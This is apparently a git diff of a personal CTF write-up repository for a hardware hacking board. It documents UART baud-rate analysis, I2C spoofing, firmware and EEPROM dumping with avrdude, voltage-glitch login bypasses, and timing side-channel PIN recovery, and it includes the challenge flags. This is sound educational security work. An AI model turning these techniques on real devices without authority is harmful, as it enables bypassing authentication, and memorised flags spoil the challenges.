+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
